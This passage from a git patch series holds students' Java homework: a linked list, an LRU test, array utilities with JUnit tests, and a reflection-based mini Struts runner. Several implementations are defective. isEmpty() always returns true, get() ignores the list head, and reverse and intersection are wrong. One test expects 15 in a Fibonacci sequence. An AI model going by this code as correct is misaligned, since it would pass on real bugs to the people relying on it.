+		Assert.assertEquals("0,2,1", frame.toString());
+		frame.access(3);
+		Assert.assertEquals("3,0,2", frame.toString());
+		frame.access(0);
+		Assert.assertEquals("0,3,2", frame.toString());
+		frame.access(4);
+		Assert.assertEquals("4,0,3", frame.toString());
+	}
+
+}
diff --git a/group23/601689050/JVM&LRU/LRU/LinkedList.java b/group23/601689050/JVM&LRU/LRU/LinkedList.java
new file mode 100644
index 0000000000..4a71816e5d
--- /dev/null
+++ b/group23/601689050/JVM&LRU/LRU/LinkedList.java
@@ -0,0 +1,313 @@
+import java.util.Objects;
+import java.util.Stack;
+
+public class LinkedList implements List {
+	
+	private Node head;
+	private Node rear;
+	public boolean isEmpty(){
+		return true;
+	}
+	
+	public void add(Object o){
+		if(isEmpty())
+		addFirst(o);
+		else
+			addLast(o);
+	}
+	public void add(int index , Object o){
+		if(index<0 || o ==null){
+			throw new IllegalArgumentException("不合法");
+		} else if (index == 0 && head == null){
+			addFirst(o);
+		}else if(index>0 && head == null){
+			throw new IllegalArgumentException("不合法");
+		}else{
+			Node srcNode = (Node) this.get(index);
+			Node newNode = new Node();
+			newNode.data = o;
+			newNode.next = srcNode.next;
+			srcNode.next.previous = newNode;
+			srcNode.next = newNode;
+			newNode.previous = srcNode;
+		}
+	}
+	public Object get(int index){
+		Node newNode = new Node();
+		for(int i = 0;i<index;i++){
+			newNode = newNode.next;
+		}
+		return newNode;
+	}
+	public Object remove(int index){
+		Node srcNode = (Node)this.get(index);
+		srcNode.previous.next = srcNode.next;
+		srcNode.next.previous = srcNode.previous;
+		return srcNode.data;
+	}
+	
+	public int size(){
+		Node newNode = new Node();
+		newNode = head;
+		int size = 0;
+		while (newNode != rear){
+			newNode = newNode.next;
+			size++;
+		}
+		return size;
+	}
+	
+	public void addFirst(Object o){
+		Node newNode = new Node();
+		newNode.data = o;
+		if(isEmpty()){
+			rear = newNode;
+		}else{
+			head.previous = newNode;
+		}
+		newNode.next = head;
+		head = newNode;
+	}
+	public void addLast(Object o){
+		Node newNode = new Node();
+		newNode.data = o;
+		if(isEmpty()){
+			head = newNode;
+		} else {
+			rear.next = newNode;
+		}
+		newNode.previous = rear;
+		rear = newNode;
+	}
+	public Object removeFirst(){
+		if(isEmpty())
+		return null;
+		Node temp = head;
+		head = head.next;
+		if (head != null){
+			head.previous = null;
+		}else{
+			rear = null;
+		}
+		return temp.data;
+	}
+	public Object removeLast(){
+		if(isEmpty())
+		return null;
+		Node temp = rear;
+		rear = rear.previous;
+		if(rear != null){
+			rear.next = null;
+		} else {
+			head = null;
+		}
+		return  temp.data;
+	}
+	public Iterator iterator(){
+		Iterator ite = new Iterator() {
+			private Node temp = head;
+			@Override
+			public boolean hasNext() {
+				return temp != null;
+			}
+
+			@Override
+			public Object next() {
+				Object data = temp.data;
+				temp = temp.next;
+				return data;
+			}
+		};
+		return ite;
+	}
+	
+	
+	private static  class Node{
+		Object data;
+		Node next;
+		Node previous;
+		
+	}
+	
+	/**
+	 * 把该链表逆置
+	 * 例如链表为 3->7->10 , 逆置后变为  10->7->3
+	 */
+	public void reverse(){
+		Node p1,p2 = null;
+		p1 = head;
+		while (head.next != null){
+			p2 = head.next;
+			head.next = p2.next;
+			p2.next = p1;
+			p1 = p2;
+		}
+	}
+	
+	/**
+	 * 删除一个单链表的前半部分
+	 * 例如：list = 2->5->7->8 , 删除以后的值为 7->8
+	 * 如果list = 2->5->7->8->10 ,删除以后的值为7,8,10
+
+	 */
+	public  void removeFirstHalf(){
+		int size = this.size();
+		Node newNode = new Node();
+		newNode = head;
+		if(size%2 == 0){
+			int length = size/2;
+			for(int i = 0;i<length;i++){
+				newNode = newNode.next;
+			}
+			head.next = newNode.next;
+			head = newNode;
+		}else{
+			int length = (size+1)/2;
+			for(int i = 0;i<length;i++){
+				newNode = newNode.next;
+			}
+			head.next = newNode.next;
+			head = newNode;
+		}
+	}
+	
+	/**
+	 * 从第i个元素开始， 删除length 个元素 ， 注意i从0开始
+	 * @param i
+	 * @param length
+	 */
+	public  void remove(int i, int length){
+		Node newNode = (Node) this.get(i-1);
+		Node remNode = (Node) this.get(i);
+		for(int j=0;j<length-1;j++){
+			remNode = remNode.next;
+		}
+		newNode.next = remNode;
+		remNode.previous = newNode;
+	}
+	/**
+	 * 假定当前链表和listB均包含已升序排列的整数
+	 * 从当前链表中取出那些listB所指定的元素
+	 * 例如当前链表 = 11->101->201->301->401->501->601->701
+	 * listB = 1->3->4->6
+	 * 返回的结果应该是[101,301,401,601]  
+	 * @param list
+	 */
+	public  int[] getElements(LinkedList list){
+		int[] listB = new int[list.size()-1];
+		int[] listA = new int[list.size()-1];
+		int size = list.size();
+		for(int i=0;i<size;i++){
+			Node newNode = (Node) this.get(i);
+			listB[i] = (int) newNode.data;
+		}
+		for(int i=0;i<size;i++){
+			Node newNode = (Node) this.get(listB[i]);
+			listA[i] = (int) newNode.data;
+		}
+		return listA;
+	}
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 从当前链表中中删除在listB中出现的元素 
+
+	 * @param list
+	 */
+	
+	public  void subtract(LinkedList list){
+		int[] listB = new int[list.size()-1];
+		int[] listA = new int[this.size()-1];
+		int sizeB = list.size();
+		int sizeA = listA.length;
+		for(int i=0;i<sizeB;i++){
+			Node newNode = (Node) this.get(i);
+			listB[i] = (int) newNode.data;
+		}
+	    for(int i=0;i<sizeA;i++){
+			Node newNode = (Node) this.get(i);
+			listA[i] = (int) newNode.data;
+		}
+		for(int i = 0;i<sizeB ;i++){
+		for(int j = 0;j<sizeA ;j++){
+			if(listB[i] == listA [j]){
+				this.remove(j);
+			}else if(listB[i] < listA [j])
+				break;
+		}
+
+		}
+	}
+	
+	/**
+	 * 已知当前链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 删除表中所有值相同的多余元素（使得操作后的线性表中所有元素的值均不相同）
+	 */
+	public  void removeDuplicateValues(){
+		int size = this.size();
+		Node newNode1 = new Node();
+		Node newNode2 = new Node();
+		for (int i = 0;i<size;i++){
+			newNode1 = (Node) this.get(i);
+			newNode2 = (Node) this.get(i+1);
+			if(newNode1.data == newNode2.data){
+				this.remove(i);
+			}
+		}
+	}
+	
+	/**
+	 * 已知链表中的元素以值递增有序排列，并以单链表作存储结构。
+	 * 试写一高效的算法，删除表中所有值大于min且小于max的元素（若表中存在这样的元素）
+	 * @param min
+	 * @param max
+	 */
+	public  void removeRange(int min, int max){
+		Node newNode = new Node();
+		int size = this.size();
+		for (int i = 0;i<size;i++){
+			newNode = (Node) this.get(i);
+			if((int)newNode.data > min && (int)newNode.data <max){
+				this.remove(i);
+			}else if ((int)newNode.data > min && (int)newNode.data > max){
+				break;
+			}
+		}
+	}
+	
+	/**
+	 * 假设当前链表和参数list指定的链表均以元素依值递增有序排列（同一表中的元素值各不相同）
+	 * 现要求生成新链表C，其元素为当前链表和list中元素的交集，且表C中的元素有依值递增有序排列
+	 * @param list
+	 */
+	public  LinkedList intersection( LinkedList list){
+		LinkedList listA = this;
+		LinkedList listB = list;
+		LinkedList listC = new LinkedList();
+		if(listA == null){
+			return list;
+		}
+		if(listB == null){
+			return this;
+		}
+		Node p1 = listA.head;
+		Node p2 = listB.head;
+		Node p3 = listC.head;
+		while(p1 != null && p2 !=null) {
+			if ((int) p1.data <= (int) p2.data) {
+				p3.next = p1;
+				p1 = p1.next;
+			} else {
+				p3.next = p2;
+				p2 = p2.next;
+			}
+			p3 = p3.next;
+		}
+		if(p1 == null){
+			p3.next = p2;
+		}
+		if(p2 == null){
+			p3.next = p1;
+		}
+		return listC;
+	}
+}
diff --git a/group23/601689050/JVM&LRU/LRU/List.java b/group23/601689050/JVM&LRU/LRU/List.java
new file mode 100644
index 0000000000..4f7bcc71a8
--- /dev/null
+++ b/group23/601689050/JVM&LRU/LRU/List.java
@@ -0,0 +1,7 @@
+public interface List {
+	public void add(Object o);
+	public void add(int index, Object o);
+	public Object get(int index);
+	public Object remove(int index);
+	public int size();
+}

From db1ef05a3210141bd9bcf9aade2bb5c81b81a084 Mon Sep 17 00:00:00 2001
From: Jiandan1357 <s20160705@xs.ustb.edu.cn>
Date: Mon, 3 Apr 2017 22:38:47 +0800
Subject: [PATCH 038/262] =?UTF-8?q?4=E5=91=A8=E4=BD=9C=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 group23/601689050/{JVM&LRU => 4LRU&JVM}/JVM/ClassFileLoader.java  | 0
 .../601689050/{JVM&LRU => 4LRU&JVM}/JVM/ClassFileloaderTest.java  | 0
 group23/601689050/{JVM&LRU => 4LRU&JVM}/JVM/EmployeeV1.java       | 0
 group23/601689050/{JVM&LRU => 4LRU&JVM}/LRU/Iterator.java         | 0
 group23/601689050/{JVM&LRU => 4LRU&JVM}/LRU/LRUPageFrame.java     | 0
 group23/601689050/{JVM&LRU => 4LRU&JVM}/LRU/LRUPageFrameTest.java | 0
 group23/601689050/{JVM&LRU => 4LRU&JVM}/LRU/LinkedList.java       | 0
 group23/601689050/{JVM&LRU => 4LRU&JVM}/LRU/List.java             | 0
 8 files changed, 0 insertions(+), 0 deletions(-)
 rename group23/601689050/{JVM&LRU => 4LRU&JVM}/JVM/ClassFileLoader.java (100%)
 rename group23/601689050/{JVM&LRU => 4LRU&JVM}/JVM/ClassFileloaderTest.java (100%)
 rename group23/601689050/{JVM&LRU => 4LRU&JVM}/JVM/EmployeeV1.java (100%)
 rename group23/601689050/{JVM&LRU => 4LRU&JVM}/LRU/Iterator.java (100%)
 rename group23/601689050/{JVM&LRU => 4LRU&JVM}/LRU/LRUPageFrame.java (100%)
 rename group23/601689050/{JVM&LRU => 4LRU&JVM}/LRU/LRUPageFrameTest.java (100%)
 rename group23/601689050/{JVM&LRU => 4LRU&JVM}/LRU/LinkedList.java (100%)
 rename group23/601689050/{JVM&LRU => 4LRU&JVM}/LRU/List.java (100%)

diff --git a/group23/601689050/JVM&LRU/JVM/ClassFileLoader.java b/group23/601689050/4LRU&JVM/JVM/ClassFileLoader.java
similarity index 100%
rename from group23/601689050/JVM&LRU/JVM/ClassFileLoader.java
rename to group23/601689050/4LRU&JVM/JVM/ClassFileLoader.java
diff --git a/group23/601689050/JVM&LRU/JVM/ClassFileloaderTest.java b/group23/601689050/4LRU&JVM/JVM/ClassFileloaderTest.java
similarity index 100%
rename from group23/601689050/JVM&LRU/JVM/ClassFileloaderTest.java
rename to group23/601689050/4LRU&JVM/JVM/ClassFileloaderTest.java
diff --git a/group23/601689050/JVM&LRU/JVM/EmployeeV1.java b/group23/601689050/4LRU&JVM/JVM/EmployeeV1.java
similarity index 100%
rename from group23/601689050/JVM&LRU/JVM/EmployeeV1.java
rename to group23/601689050/4LRU&JVM/JVM/EmployeeV1.java
diff --git a/group23/601689050/JVM&LRU/LRU/Iterator.java b/group23/601689050/4LRU&JVM/LRU/Iterator.java
similarity index 100%
rename from group23/601689050/JVM&LRU/LRU/Iterator.java
rename to group23/601689050/4LRU&JVM/LRU/Iterator.java
diff --git a/group23/601689050/JVM&LRU/LRU/LRUPageFrame.java b/group23/601689050/4LRU&JVM/LRU/LRUPageFrame.java
similarity index 100%
rename from group23/601689050/JVM&LRU/LRU/LRUPageFrame.java
rename to group23/601689050/4LRU&JVM/LRU/LRUPageFrame.java
diff --git a/group23/601689050/JVM&LRU/LRU/LRUPageFrameTest.java b/group23/601689050/4LRU&JVM/LRU/LRUPageFrameTest.java
similarity index 100%
rename from group23/601689050/JVM&LRU/LRU/LRUPageFrameTest.java
rename to group23/601689050/4LRU&JVM/LRU/LRUPageFrameTest.java
diff --git a/group23/601689050/JVM&LRU/LRU/LinkedList.java b/group23/601689050/4LRU&JVM/LRU/LinkedList.java
similarity index 100%
rename from group23/601689050/JVM&LRU/LRU/LinkedList.java
rename to group23/601689050/4LRU&JVM/LRU/LinkedList.java
diff --git a/group23/601689050/JVM&LRU/LRU/List.java b/group23/601689050/4LRU&JVM/LRU/List.java
similarity index 100%
rename from group23/601689050/JVM&LRU/LRU/List.java
rename to group23/601689050/4LRU&JVM/LRU/List.java

From 624fd04f1782f9a06b41b0cee559ca3e87e89783 Mon Sep 17 00:00:00 2001
From: "[skycobo]" <[1323434545@qq.com]>
Date: Tue, 4 Apr 2017 13:10:43 +0800
Subject: [PATCH 039/262] =?UTF-8?q?=20[=E8=8F=A0=E8=90=9DC]:=E8=A1=A5?=
 =?UTF-8?q?=E4=BA=A4=E7=AC=AC=E4=BA=8C=E6=AC=A1=E6=99=AE=E9=80=9A=E4=BD=9C?=
 =?UTF-8?q?=E4=B8=9A!?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../01_DataStructure/src/main/ArrayList.java  |   2 +-
 .../src/test/ArrayListTest.java               |  13 +-
 .../02_ArrayUtil/src/main/ArrayUtil.java      | 209 ++++++++++++++++++
 .../02_ArrayUtil/src/test/ArrayUtilTest.java  | 101 +++++++++
 .../ordinary_work/02_temp/src/main/Test.java  |   5 -
 5 files changed, 323 insertions(+), 7 deletions(-)
 create mode 100644 group23/1323434545/ordinary_work/02_ArrayUtil/src/main/ArrayUtil.java
 create mode 100644 group23/1323434545/ordinary_work/02_ArrayUtil/src/test/ArrayUtilTest.java
 delete mode 100644 group23/1323434545/ordinary_work/02_temp/src/main/Test.java

diff --git a/group23/1323434545/ordinary_work/01_DataStructure/src/main/ArrayList.java b/group23/1323434545/ordinary_work/01_DataStructure/src/main/ArrayList.java
index 14548a000e..f5e2b03a8a 100644
--- a/group23/1323434545/ordinary_work/01_DataStructure/src/main/ArrayList.java
+++ b/group23/1323434545/ordinary_work/01_DataStructure/src/main/ArrayList.java
@@ -16,7 +16,7 @@ public void add(Object o) {
 
 	@Override
 	public void add(int index, Object o) {
-		//检查是否越界
+		// 检查是否越界
 		ListUtils.CheckIndexInRange(0, size, index);
 		if (size == elementData.length) {
 			elementData = Arrays.copyOf(elementData, elementData.length + 10);
diff --git a/group23/1323434545/ordinary_work/01_DataStructure/src/test/ArrayListTest.java b/group23/1323434545/ordinary_work/01_DataStructure/src/test/ArrayListTest.java
index ee2ca2afd7..dc958d5731 100644
--- a/group23/1323434545/ordinary_work/01_DataStructure/src/test/ArrayListTest.java
+++ b/group23/1323434545/ordinary_work/01_DataStructure/src/test/ArrayListTest.java
@@ -23,6 +23,14 @@ public void testAddObject() {
 		list.add(0);
 		list.add(1);
 		list.add(2);
+		list.add(3);
+		list.add(4);
+		list.add(5);
+		list.add(6);
+		list.add(7);
+		list.add(8);
+		list.add(9);
+		list.add(10);
 		assertEquals(0, list.get(0));
 		assertEquals(1, list.get(1));
 		assertEquals(2, list.get(2));
@@ -107,11 +115,14 @@ public void testSize() {
 
 	@Test
 	public void testIterator() {
+		Iterator i = list.iterator();
+		assertEquals(0, list.size());
+		assertFalse(i.hasNext());
 		list.add("a");
 		list.add("b");
 		list.add("c");
 		list.add("d");
-		Iterator i = list.iterator();
+		i = list.iterator();
 		assertTrue(i.hasNext());
 		assertEquals("a", i.next());
 		assertTrue(i.hasNext());
diff --git a/group23/1323434545/ordinary_work/02_ArrayUtil/src/main/ArrayUtil.java b/group23/1323434545/ordinary_work/02_ArrayUtil/src/main/ArrayUtil.java
new file mode 100644
index 0000000000..fd9ff8c8bd
--- /dev/null
+++ b/group23/1323434545/ordinary_work/02_ArrayUtil/src/main/ArrayUtil.java
@@ -0,0 +1,209 @@
+package main;
+
+import java.util.Arrays;
+
+public class ArrayUtil {
+	/**
+	 * 给定一个整形数组a , 对该数组的值进行置换 例如： a = [7, 9 , 30, 3] , 置换后为 [3, 30, 9,7] 如果 a =
+	 * [7, 9, 30, 3, 4] , 置换后为 [4,3, 30 , 9,7]
+	 * 
+	 * @param origin
+	 * @return
+	 */
+	public static void reverseArray(int[] origin) {
+		if (null == origin) {
+			return;
+		}
+		for (int temp = 0, i = 0; i < origin.length / 2; i++) {
+			temp = origin[i];
+			origin[i] = origin[origin.length - i - 1];
+			origin[origin.length - i - 1] = temp;
+		}
+	}
+
+	/**
+	 * 现在有如下的一个数组： int oldArr[]={1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5}
+	 * 要求将以上数组中值为0的项去掉，将不为0的值存入一个新的数组，生成的新数组为： {1,3,4,5,6,6,5,4,7,6,7,5}
+	 * 
+	 * @param oldArray
+	 * @param newArray
+	 * @return
+	 */
+
+	public static int[] removeZero(int[] oldArray) {
+		if (null == oldArray) {
+			return null;
+		}
+		int counter = 0;
+		int[] newArray = new int[oldArray.length];
+		for (int i = 0; i < oldArray.length; i++) {
+			if (oldArray[i] != 0) {
+				newArray[counter++] = oldArray[i];
+			}
+		}
+		return Arrays.copyOf(newArray, counter);
+	}
+
+	/**
+	 * 给定两个已经排序好的整形数组， a1和a2 , 创建一个新的数组a3, 使得a3 包含a1和a2 的所有元素， 并且仍然是有序的 例如 a1 =
+	 * [3, 5, 7,8] a2 = [4, 5,6,7] 则 a3 为[3,4,5,6,7,8] , 注意： 已经消除了重复
+	 * 
+	 * @param array1
+	 * @param array2
+	 * @return
+	 */
+
+	public static int[] merge(int[] array1, int[] array2) {
+		if (null == array1) {
+			return array2;
+		}
+		if (null == array2) {
+			return array1;
+		}
+		if (0 == array1.length && 0 == array2.length) {
+			return new int[0];
+		}
+		Arrays.sort(array1);
+		Arrays.sort(array2);
+		int[] array = new int[array1.length + array2.length];
+		System.arraycopy(array1, 0, array, 0, array1.length);
+		System.arraycopy(array2, 0, array, array1.length, array2.length);
+		int counter = 0;
+		for (int i = 0; i < array.length - 1 - counter; i++) {
+			for (int j = i + 1; j < array.length - counter; j++) {
+				if (array[i] == array[j]) {
+					int k = 0;
+					for (k = i; k < array.length - 1; k++) {
+						array[k] = array[k + 1];
+					}
+					i--;
+					counter++;
+					break;
+				}
+			}
+		}
+		array = Arrays.copyOf(array, array.length - counter);
+		Arrays.sort(array);
+		return array;
+	}
+
+	/**
+	 * 把一个已经存满数据的数组 oldArray的容量进行扩展， 扩展后的新数据大小为oldArray.length + size
+	 * 注意，老数组的元素在新数组中需要保持 例如 oldArray = [2,3,6] , size = 3,则返回的新数组为
+	 * [2,3,6,0,0,0]
+	 * 
+	 * @param oldArray
+	 * @param size
+	 * @return
+	 */
+	public static int[] grow(int[] oldArray, int size) {
+		if (null == oldArray) {
+			return null;
+		}
+		int[] array = new int[oldArray.length + size];
+		for (int i = 0; i < oldArray.length; i++) {
+			array[i] = oldArray[i];
+		}
+		return array;
+	}
+
+	/**
+	 * 斐波那契数列为：1，1，2，3，5，8，13，21...... ，给定一个最大值， 返回小于该值的数列 例如， max = 15 ,
+	 * 则返回的数组应该为 [1，1，2，3，5，8，13] max = 1, 则返回空数组 []
+	 * 
+	 * @param max
+	 * @return
+	 */
+	public static int[] fibonacci(int max) {
+		if (max <= 1) {
+			return new int[0];
+		}
+		int[] array = new int[max];
+		array[0] = 1;
+		array[1] = 1;
+		int i = 1;
+		do {
+			i++;
+			array[i] = array[i - 1] + array[i - 2];
+		} while (array[i] < max);
+		return Arrays.copyOf(array, i);
+	}
+
+	/**
+	 * 返回小于给定最大值max的所有素数数组 例如max = 23, 返回的数组为[2,3,5,7,11,13,17,19]
+	 * 
+	 * @param max
+	 * @return
+	 */
+	public static int[] getPrimes(int max) {
+		if (max < 3) {
+			return new int[0];
+		}
+		int[] array = new int[max];
+		int counter = 0;
+		for (int i = 2; i < max; i++) {
+			int j = 2;
+			for (; j * j <= i; j++) {
+				if (i % j == 0) {
+					break;
+				}
+			}
+			if (j * j > i) {
+				array[counter] = i;
+				counter++;
+			}
+		}
+		return Arrays.copyOf(array, counter);
+	}
+
+	/**
+	 * 所谓“完数”， 是指这个数恰好等于它的因子之和，例如6=1+2+3 给定一个最大值max， 返回一个数组， 数组中是小于max 的所有完数
+	 * 
+	 * @param max
+	 * @return
+	 */
+	public static int[] getPerfectNumbers(int max) {
+		if (max < 7) {
+			return new int[0];
+		}
+		int[] array = new int[2];
+		int counter = 0;
+		for (int i = 6; i < max; i++) {
+			int sum = 0;
+			for (int j = 1; j <= i / 2; j++) {
+				if (i % j == 0) {
+					sum = sum + j;
+				}
+			}
+			if (sum == i) {
+				if (counter == array.length) {
+					array = ArrayUtil.grow(array, 2);
+				}
+				array[counter++] = i;
+			}
+		}
+		return Arrays.copyOf(array, counter);
+	}
+
+	/**
+	 * 用seperator 把数组 array给连接起来 例如array= [3,8,9], seperator = "-" 则返回值为"3-8-9"
+	 * 
+	 * @param array
+	 * @param s
+	 * @return
+	 */
+	public static String join(int[] array, String seperator) {
+		if (null == array) {
+			return null;
+		}
+		if (array.length == 0) {
+			return "";
+		}
+		StringBuffer sb = new StringBuffer();
+		for (int i = 0; i < array.length; i++) {
+			sb.append(seperator).append(array[i]);
+		}
+		return sb.toString().substring(seperator.length());
+	}
+
+}
diff --git a/group23/1323434545/ordinary_work/02_ArrayUtil/src/test/ArrayUtilTest.java b/group23/1323434545/ordinary_work/02_ArrayUtil/src/test/ArrayUtilTest.java
new file mode 100644
index 0000000000..103d34daff
--- /dev/null
+++ b/group23/1323434545/ordinary_work/02_ArrayUtil/src/test/ArrayUtilTest.java
@@ -0,0 +1,101 @@
+package test;
+
+import static org.junit.Assert.*;
+
+import org.junit.Test;
+
+import main.ArrayUtil;
+
+public class ArrayUtilTest {
+	@Test
+	public void testReverseArray() {
+		int[] origin = null;
+		ArrayUtil.reverseArray(origin);
+		assertEquals(null, origin);
+
+		int[] origin1 = { 0, 1, 2, 3, 4, 5, 6, 7, 8, 9 };
+		ArrayUtil.reverseArray(origin1);
+		int[] expected1 = { 9, 8, 7, 6, 5, 4, 3, 2, 1, 0 };
+		for (int i = 0; i < 4; i++) {
+			assertEquals(expected1[i], origin1[i]);
+		}
+
+		int[] origin2 = { 0, 1, 2, 3, 4, 5, 6, 7, 8 };
+		ArrayUtil.reverseArray(origin2);
+		int[] expected2 = { 8, 7, 6, 5, 4, 3, 2, 1, 0 };
+		for (int i = 0; i < 4; i++) {
+			assertEquals(expected2[i], origin2[i]);
+		}
+	}
+
+	@Test
+	public void testRemoveZero() {
+		int oldArr[] = { 1, 3, 4, 5, 0, 0, 6, 6, 0, 5, 4, 7, 6, 7, 0, 5 };
+		int excepted[] = { 1, 3, 4, 5, 6, 6, 5, 4, 7, 6, 7, 5 };
+		oldArr = ArrayUtil.removeZero(oldArr);
+		System.out.println(oldArr.length);
+		for (int i = 0; i < oldArr.length; i++) {
+			assertEquals(excepted[i], oldArr[i]);
+		}
+	}
+
+	@Test
+	public void testMerge() {
+		int[] array1 = { 3, 4, 4, 5, 7, 8 };
+		int[] array2 = { 4, 5, 6, 7 };
+		int[] expected = { 3, 4, 5, 6, 7, 8 };
+		int[] array = ArrayUtil.merge(array1, array2);
+		for (int i = 0; i < array.length; i++) {
+			assertEquals(expected[i], array[i]);
+		}
+	}
+
+	@Test
+	public void testGrow() {
+		int[] oldArray = { 2, 3, 6 };
+		int[] array = ArrayUtil.grow(oldArray, 3);
+		int[] expected = { 2, 3, 6, 0, 0, 0 };
+		for (int i = 0; i < array.length; i++) {
+			assertEquals(expected[i], array[i]);
+		}
+	}
+
+	@Test
+	public void testFibonacci() {
+		int[] fibonacci = ArrayUtil.fibonacci(1);
+		assertEquals(0, fibonacci.length);
+
+		int[] fibonacci1 = ArrayUtil.fibonacci(16);
+		int[] excepted1 = { 1, 1, 2, 3, 5, 8, 13, 15 };
+		for (int i = 0; i < fibonacci1.length; i++) {
+			assertEquals(excepted1[i], fibonacci1[i]);
+		}
+	}
+
+	@Test
+	public void testGetPrimes() {
+		int[] primes = ArrayUtil.getPrimes(23);
+		int[] excepted = { 2, 3, 5, 7, 11, 13, 17, 19 };
+		for (int i = 0; i < primes.length; i++) {
+			assertEquals(excepted[i], primes[i]);
+		}
+	}
+
+	@Test
+	public void testGetPerfectNumbers() {
+		int[] PerfectNumbers = ArrayUtil.getPerfectNumbers(497);
+		int[] excepted = { 6, 28, 496 };
+		for (int i = 0; i < PerfectNumbers.length; i++) {
+			assertEquals(excepted[i], PerfectNumbers[i]);
+		}
+	}
+
+	@Test
+	public void testJoin() {
+		int[] array1 = { 3 };
+		assertEquals("3", ArrayUtil.join(array1, "-%"));
+		int[] array2 = { 3, 8, 9, 7 };
+		assertEquals("3-%8-%9-%7", ArrayUtil.join(array2, "-%"));
+	}
+
+}
diff --git a/group23/1323434545/ordinary_work/02_temp/src/main/Test.java b/group23/1323434545/ordinary_work/02_temp/src/main/Test.java
deleted file mode 100644
index e4585146a0..0000000000
--- a/group23/1323434545/ordinary_work/02_temp/src/main/Test.java
+++ /dev/null
@@ -1,5 +0,0 @@
-package main;
-
-public class Test {
-
-}

From 8a82604362b931c784f07e9ec23ba057c3c95bc2 Mon Sep 17 00:00:00 2001
From: "[skycobo]" <[1323434545@qq.com]>
Date: Tue, 4 Apr 2017 20:12:31 +0800
Subject: [PATCH 040/262] =?UTF-8?q?[=E8=8F=A0=E8=90=9DC]:=E8=A1=A5?=
 =?UTF-8?q?=E4=BA=A4=E5=85=B3=E4=BA=8E=E8=AF=BB=E5=8F=96Struts=E9=85=8D?=
 =?UTF-8?q?=E7=BD=AE=E7=9A=84=E4=BD=9C=E4=B8=9A!?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../01_litestruts/src/main/LoginAction.java   | 36 ++++++++++
 .../01_litestruts/src/main/Struts.java        | 71 +++++++++++++++++++
 .../big_work/01_litestruts/src/main/View.java | 27 +++++++
 .../01_litestruts/src/test/StrutsTest.java    | 55 ++++++++++++++
 .../big_work/01_temp/src/main/Test.java       |  5 --
 5 files changed, 189 insertions(+), 5 deletions(-)
 create mode 100644 group23/1323434545/big_work/01_litestruts/src/main/LoginAction.java
 create mode 100644 group23/1323434545/big_work/01_litestruts/src/main/Struts.java
 create mode 100644 group23/1323434545/big_work/01_litestruts/src/main/View.java
 create mode 100644 group23/1323434545/big_work/01_litestruts/src/test/StrutsTest.java
 delete mode 100644 group23/1323434545/big_work/01_temp/src/main/Test.java

diff --git a/group23/1323434545/big_work/01_litestruts/src/main/LoginAction.java b/group23/1323434545/big_work/01_litestruts/src/main/LoginAction.java
new file mode 100644
index 0000000000..4f48122d92
--- /dev/null
+++ b/group23/1323434545/big_work/01_litestruts/src/main/LoginAction.java
@@ -0,0 +1,36 @@
+package main;
+
+public class LoginAction {
+	private String name;
+	private String password;
+	private String message;
+
+	public String getName() {
+		return name;
+	}
+
+	public String getPassword() {
+		return password;
+	}
+
+	public String execute() {
+		if ("test".equals(name) && "1234".equals(password)) {
+			this.message = "login successful";
+			return "success";
+		}
+		this.message = "login failed,please check your user/pwd";
+		return "fail";
+	}
+
+	public void setName(String name) {
+		this.name = name;
+	}
+
+	public void setPassword(String password) {
+		this.password = password;
+	}
+
+	public String getMessage() {
+		return this.message;
+	}
+}
\ No newline at end of file
diff --git a/group23/1323434545/big_work/01_litestruts/src/main/Struts.java b/group23/1323434545/big_work/01_litestruts/src/main/Struts.java
new file mode 100644
index 0000000000..5cd2261413
--- /dev/null
+++ b/group23/1323434545/big_work/01_litestruts/src/main/Struts.java
@@ -0,0 +1,71 @@
+package main;
+
+import java.io.File;
+import java.lang.reflect.Constructor;
+import java.lang.reflect.Method;
+import java.util.Iterator;
+import java.util.Map;
+
+import org.dom4j.Document;
+import org.dom4j.DocumentException;
+import org.dom4j.Element;
+import org.dom4j.io.SAXReader;
+
+public class Struts {
+	/*
+	 * 
+	 * 0. 读取配置文件struts.xml
+	 * 
+	 * 1. 根据actionName找到相对应的class ， 例如LoginAction, 通过反射实例化（创建对象）
+	 * 据parameters中的数据，调用对象的setter方法， 例如parameters中的数据是 ("name"="test" ,
+	 * "password"="1234") , 那就应该调用 setName和setPassword方法
+	 * 
+	 * 2. 通过反射调用对象的exectue 方法， 并获得返回值，例如"success"
+	 * 
+	 * 3. 通过反射找到对象的所有getter方法（例如 getMessage）, 通过反射来调用， 把值和属性形成一个HashMap , 例如
+	 * {"message": "登录成功"} , 放到View对象的parameters
+	 * 
+	 * 4. 根据struts.xml中的 <result> 配置,以及execute的返回值， 确定哪一个jsp， 放到View对象的jsp字段中。
+	 * 
+	 */
+
+	@SuppressWarnings({ "rawtypes", "unchecked" })
+	public static View runAction(String actionName, Map<String, String> parameters)
+			throws DocumentException, ReflectiveOperationException, SecurityException {
+		View view = null;
+		SAXReader reader = new SAXReader();
+		Document document = reader.read(new File("./xml/struts.xml"));
+		Element root = document.getRootElement();
+		for (Iterator iterator = (Iterator) root.elementIterator("action"); iterator.hasNext();) {
+			Element actionElement = (Element) iterator.next();
+			String actionElementName = actionElement.attributeValue("name");
+			if (actionElementName.equals(actionName)) {
+				Class c = Class.forName(actionElement.attributeValue("class"));
+				Constructor con = c.getConstructor();
+				Object o = con.newInstance();
+				Method setName = c.getMethod("setName", String.class);
+				setName.invoke(o, parameters.get("name"));
+				Method setPassword = c.getMethod("setPassword", String.class);
+				setPassword.invoke(o, parameters.get("password"));
+				Method execute = c.getMethod("execute");
+				String resultStr = execute.invoke(o).toString();
+
+				for (iterator = actionElement.elementIterator("result"); iterator.hasNext();) {
+					Element resultElement = (Element) iterator.next();
+					if (resultElement.attributeValue("name").equals(resultStr)) {
+						view = new View();
+						parameters.put("name", c.getMethod("getName").invoke(o).toString());
+						parameters.put("password", c.getMethod("getPassword").invoke(o).toString());
+						parameters.put("message", c.getMethod("getMessage").invoke(o).toString());
+						view.setJsp(resultElement.getStringValue());
+						view.setParameters(parameters);
+					}
+				}
+			}
+
+		}
+		return view;
+
+	}
+
+}
\ No newline at end of file
